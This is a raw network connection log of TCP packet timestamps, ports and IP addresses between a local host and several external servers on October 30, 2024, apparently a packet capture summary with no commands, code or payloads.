Oct 30, 2024 20:13:07.640914917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.641583920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.641598940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.641612053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.641618967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.641635895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.641658068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.683084011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.683151960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.683188915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.683204889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.683228970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.683247089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.683415890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.683439970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.683454990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.683465958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.683487892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.683487892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.727817059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.727884054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.727935076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.727951050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.728072882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.728072882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.728329897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.728346109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.728360891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.728369951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.728378057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.728384972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.728399992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.728421926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.729012012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.729052067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.729079962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.729094982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.729109049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.729115963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.729125023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.729146957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.729167938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.729748011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.729763031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.729777098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.729790926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.729824066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:09.726543903 CET	49736	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:09.726586103 CET	443	49736	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:09.726764917 CET	49736	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:09.726881981 CET	49736	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:09.726892948 CET	443	49736	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:09.788183928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:09.788247108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:10.079447031 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.079493046 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:10.079720020 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.079993963 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.080013037 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:10.120448112 CET	49738	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.120497942 CET	443	49738	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:10.120764017 CET	49738	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.120852947 CET	49738	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.120862961 CET	443	49738	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:10.213258982 CET	49739	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.213288069 CET	443	49739	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:10.213356972 CET	49739	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.213623047 CET	49739	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.213640928 CET	443	49739	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:10.592133999 CET	443	49736	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:10.592418909 CET	49736	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.592427969 CET	443	49736	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:10.594038963 CET	443	49736	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:10.594129086 CET	49736	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.595139027 CET	49736	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.595221043 CET	443	49736	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:10.595321894 CET	49736	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.595329046 CET	443	49736	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:10.644979954 CET	49736	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.872082949 CET	443	49736	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:10.926656008 CET	49736	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.926667929 CET	443	49736	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:10.927678108 CET	49736	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.927719116 CET	443	49736	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:10.927779913 CET	49736	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.958406925 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:10.958750010 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.958775043 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:10.959647894 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:10.959722042 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.959994078 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.960048914 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:10.960819006 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.960828066 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:10.984520912 CET	443	49738	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:10.984818935 CET	49738	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.984833002 CET	443	49738	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:10.985810041 CET	443	49738	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:10.985938072 CET	49738	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.986155033 CET	49738	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:10.986212969 CET	443	49738	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:10.986304045 CET	49738	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.004786968 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.031342030 CET	443	49738	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.036065102 CET	49738	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.036075115 CET	443	49738	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.082916975 CET	49738	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.085371017 CET	443	49739	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.086232901 CET	49739	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.086253881 CET	443	49739	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.087138891 CET	443	49739	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.087198019 CET	49739	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.087466955 CET	49739	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.087528944 CET	443	49739	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.145400047 CET	49739	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.145414114 CET	443	49739	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.192280054 CET	49739	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.253849983 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.254064083 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.254095078 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.254115105 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.254122972 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.254224062 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.254481077 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.254718065 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.254889965 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.254894972 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.262558937 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.262619019 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.262625933 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.266230106 CET	443	49738	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.304430008 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.304435968 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.319745064 CET	49738	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.319763899 CET	443	49738	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.320671082 CET	49738	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.320759058 CET	443	49738	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.320827007 CET	49738	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.348352909 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.377115011 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.377403975 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.377458096 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.377470970 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.377655029 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.377700090 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.377705097 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.377988100 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.379089117 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.379093885 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.387033939 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.388098001 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.388103008 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.395602942 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.398435116 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.398439884 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.404236078 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.406541109 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.406546116 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.413150072 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.413206100 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.413213968 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.421037912 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.424088001 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.424107075 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.433942080 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.436089039 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.436094999 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.488760948 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.488769054 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.500514030 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.500808001 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.500855923 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.500861883 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.501030922 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.501077890 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.501084089 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.501121044 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.501337051 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.501908064 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.501934052 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.501955986 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.501962900 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.502502918 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.502532959 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.502551079 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.502557993 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.502576113 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.503278017 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.504081011 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.504086018 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.510050058 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.510270119 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.510345936 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.510350943 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.516099930 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.516105890 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.521451950 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.521502972 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.521507978 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.527580976 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.527652025 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.527688026 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.527693987 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.530100107 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.533438921 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.539706945 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.539805889 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.539866924 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.539875031 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.542120934 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.545600891 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.551506042 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.551599979 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.551642895 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.551647902 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.554096937 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.557555914 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.563860893 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.564001083 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.564054966 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.564064980 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.566106081 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.569891930 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.613781929 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.623616934 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.623821974 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.623904943 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.623910904 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.624279022 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.624624968 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.624670029 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.624687910 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.624694109 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.624716997 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.625168085 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.625417948 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.625421047 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.625457048 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.625504971 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.625508070 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.625850916 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.625895977 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.625952959 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.625957966 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.626104116 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.633522987 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.633877039 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.633940935 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.633944988 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.633954048 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.633991003 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.642041922 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.644730091 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.644781113 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.644792080 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.645888090 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.645936966 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.645944118 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.656744957 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.656797886 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.656802893 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.662945986 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.663036108 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.663041115 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.668901920 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.668952942 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.668957949 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.674987078 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.675035954 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.675040960 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.680854082 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.680908918 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.680913925 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.681173086 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.681360960 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.681365967 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.681694984 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:11.681725979 CET	443	49737	142.250.185.228	192.168.2.4
Oct 30, 2024 20:13:11.681778908 CET	49737	443	192.168.2.4	142.250.185.228
Oct 30, 2024 20:13:13.452514887 CET	49745	443	192.168.2.4	184.28.90.27
Oct 30, 2024 20:13:13.452617884 CET	443	49745	184.28.90.27	192.168.2.4
Oct 30, 2024 20:13:13.452696085 CET	49745	443	192.168.2.4	184.28.90.27
Oct 30, 2024 20:13:13.454181910 CET	49745	443	192.168.2.4	184.28.90.27
Oct 30, 2024 20:13:13.454221964 CET	443	49745	184.28.90.27	192.168.2.4
Oct 30, 2024 20:13:14.138077021 CET	49746	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:14.138184071 CET	443	49746	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:14.138252974 CET	49746	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:14.139904022 CET	49746	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:14.139941931 CET	443	49746	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:14.296809912 CET	443	49745	184.28.90.27	192.168.2.4
Oct 30, 2024 20:13:14.296884060 CET	49745	443	192.168.2.4	184.28.90.27
Oct 30, 2024 20:13:14.299926996 CET	49745	443	192.168.2.4	184.28.90.27
Oct 30, 2024 20:13:14.299946070 CET	443	49745	184.28.90.27	192.168.2.4
Oct 30, 2024 20:13:14.300189018 CET	443	49745	184.28.90.27	192.168.2.4
Oct 30, 2024 20:13:14.337970972 CET	49745	443	192.168.2.4	184.28.90.27
Oct 30, 2024 20:13:14.379363060 CET	443	49745	184.28.90.27	192.168.2.4
Oct 30, 2024 20:13:14.579766035 CET	443	49745	184.28.90.27	192.168.2.4
Oct 30, 2024 20:13:14.579842091 CET	443	49745	184.28.90.27	192.168.2.4
Oct 30, 2024 20:13:14.579900026 CET	49745	443	192.168.2.4	184.28.90.27
Oct 30, 2024 20:13:14.580038071 CET	49745	443	192.168.2.4	184.28.90.27
Oct 30, 2024 20:13:14.580075026 CET	443	49745	184.28.90.27	192.168.2.4
Oct 30, 2024 20:13:14.580108881 CET	49745	443	192.168.2.4	184.28.90.27
Oct 30, 2024 20:13:14.580123901 CET	443	49745	184.28.90.27	192.168.2.4
Oct 30, 2024 20:13:14.623016119 CET	49747	443	192.168.2.4	184.28.90.27
Oct 30, 2024 20:13:14.623054981 CET	443	49747	184.28.90.27	192.168.2.4
Oct 30, 2024 20:13:14.623295069 CET	49747	443	192.168.2.4	184.28.90.27
Oct 30, 2024 20:13:14.623591900 CET	49747	443	192.168.2.4	184.28.90.27
Oct 30, 2024 20:13:14.623622894 CET	443	49747	184.28.90.27	192.168.2.4
Oct 30, 2024 20:13:14.631058931 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:14.631092072 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:14.631180048 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:14.631351948 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:14.631364107 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:14.901664972 CET	443	49746	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:14.901750088 CET	49746	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:14.905097008 CET	49746	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:14.905106068 CET	443	49746	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:14.905400038 CET	443	49746	172.202.163.200	192.168.2.4
Oct 30, 2024 20:13:14.957716942 CET	49746	443	192.168.2.4	172.202.163.200
Oct 30, 2024 20:13:15.480307102 CET	443	49747	184.28.90.27	192.168.2.4
Oct 30, 2024 20:13:15.480376005 CET	49747	443	192.168.2.4	184.28.90.27
Oct 30, 2024 20:13:15.481761932 CET	49747	443	192.168.2.4	184.28.90.27
Oct 30, 2024 20:13:15.481790066 CET	443	49747	184.28.90.27	192.168.2.4
Oct 30, 2024 20:13:15.482038975 CET	443	49747	184.28.90.27	192.168.2.4
Oct 30, 2024 20:13:15.483062983 CET	49747	443	192.168.2.4	184.28.90.27
Oct 30, 2024 20:13:15.484848022 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.485258102 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:15.485274076 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.486361027 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.486414909 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:15.500309944 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:15.500379086 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.500483990 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:15.523354053 CET	443	49747	184.28.90.27	192.168.2.4
Oct 30, 2024 20:13:15.547331095 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.552122116 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:15.552134037 CET	443	49749	142.250.74.206	192.168.2.4
Oct 30, 2024 20:13:15.599003077 CET	49749	443	192.168.2.4	142.250.74.206
Oct 30, 2024 20:13:15.628264904 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 20:13:15.628295898 CET	443	49753	142.250.184.206	192.168.2.4
